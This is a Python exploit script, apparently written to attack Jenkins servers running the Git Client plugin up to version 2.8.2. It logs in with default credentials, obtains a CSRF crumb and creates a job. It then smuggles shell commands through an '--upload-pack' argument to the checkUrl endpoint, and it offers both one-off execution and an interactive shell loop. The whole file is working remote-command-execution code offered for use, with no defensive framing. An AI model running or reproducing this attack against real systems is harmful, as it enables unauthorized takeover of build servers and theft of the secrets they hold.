#!/usr/bin/env python3 # -*- coding:utf-8 -*- # Author: FTKahZModan # Version: Jenkins Git Clone <= 2.8.2 (2.8.6 failed). import argparse import requests, json, re def login(url, headers, username, password, session): login_url = url + '/j_acegi_security_check' data = 'j_username=' + username + '&j_password=' + password + '&from=%2F&Submit=%E7%99%BB%E5%BD%95' headers['Referer'] = url + '/login?from=%2F' try: r = session.post(login_url, headers=headers, data=data) # print(session.cookies.get_dict()) # print(r.status_code) if r.status_code == 200: return session else: exit("[-]Error: Login Failed. Check the username and password.") except Exception as e: exit(str(e)) def get_crumb(url, session): crumb_url = url + '/crumbIssuer/api/json' try: r = session.get(crumb_url) # print(json.loads(r.text)['crumb']) if r.status_code == 200 and 'crumb' in r.text: return json.loads(r.text)['crumb'] else: exit("[-]Error: Can not get Jenkins_Crumb.") except Exception as e: exit('[-]' + str(e)) def create_program(url, session, headers, item_name, crumb): create_url = url + '/view/all/createItem' data = 'name=' + item_name + '&mode=org.jenkinsci.plugins.workflow.job.WorkflowJob' \ '&Jenkins-Crumb=' + crumb + \ '&json=%7B%22name%22%3A+%22' + item_name + \ '%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22' \ '%2C+%22Jenkins-Crumb%22%3A+%' + crumb + '%22%7D' headers['Referer'] = 'http://192.168.134.129:8080/view/all/newJob' try: r = session.post(create_url, data, headers=headers, allow_redirects=False) # print(crumb) # print(r.status_code) # print(type(r.headers['Location'])) if r.status_code != 302 or 'configure' not in r.headers['Location']: print("[!]Warning: Maybe the item name you input is already existed.") return item_name except Exception as e: exit('[-]Error: ' + str(e)) def attack(url, headers, item_name, session, crumb, interactive, command): # pattern = r"" 'HEAD': 1: (.*?)(: not found|: Permission denied){0,1}
fatal" pattern = r'" 'HEAD': (1: ){0,1}(.*?):.*?( not found|: Permission denied){0,1}
fatal' attack_url = url + '/job/' + item_name + '/descriptorByName/hudson.plugins.git.UserRemoteConfig/checkUrl' # print(attack_url) headers['Jenkins-Crumb'] = crumb headers['Referer'] = url + '/job/' + item_name + '/configure' headers['X-Requested-With'] = 'XMLHttpRequest' # print(crumb) if not interactive: data = 'value=--upload-pack%3D%22%60' + command + '%60%22&credentialsId=' try: r = session.post(attack_url, data, headers=headers) result = re.findall(pattern, r.text) # print(result) exit("[+]Success:" + '\n' + result[0][1].replace('
', '\n')) except Exception as e: exit("[-]" + str(e)) else: while 1: try: command = input('sh$ ') # print(type(cmd)) data = 'value=--upload-pack%3D%22%60' + command + '%60%22&credentialsId=' # print(data) r = session.post(attack_url, data, headers=headers) result = re.findall(pattern, r.text) print(result[0][1].replace('
', '\n')) except KeyboardInterrupt: exit("[-]Closing..") except Exception as e: print(e) if __name__ == "__main__": parser = argparse.ArgumentParser("Jenkins Git Client < 2.8.2.") parser.add_argument('-u', '--target', help='Target.', required=True) parser.add_argument('-U', '--username', default='admin', help="This vulnerability need Jenkins username to login. Default: admin") parser.add_argument('-P', '--password', default='admin', help="This vulnerability need Jenkins password to login. Default: admin") parser.add_argument('-i', '--item', default='test', help='Jenkins program Name to establish.') parser.add_argument('-I', '--interactive', default=False, help='Choose if you need a interactive shell(True or False). Default: False') parser.add_argument('-c', '--command', help="Command to execute. If not use interactive mode it's required.") args = parser.parse_args() if not args.interactive and not args.command: parser.print_help() exit("[-]Error: You need set --interactive True or --command .") headers = { 'Host': args.target.replace('http://', '').replace('https://', ''), 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Upgrade-Insecure-Requests': '1', } s = requests.Session() session = login(args.target, headers, args.username, args.password, s) crumb = get_crumb(args.target, session) item = create_program(args.target, session, headers, args.item, crumb) attack(args.target, headers, item, session, crumb, args.interactive, args.command)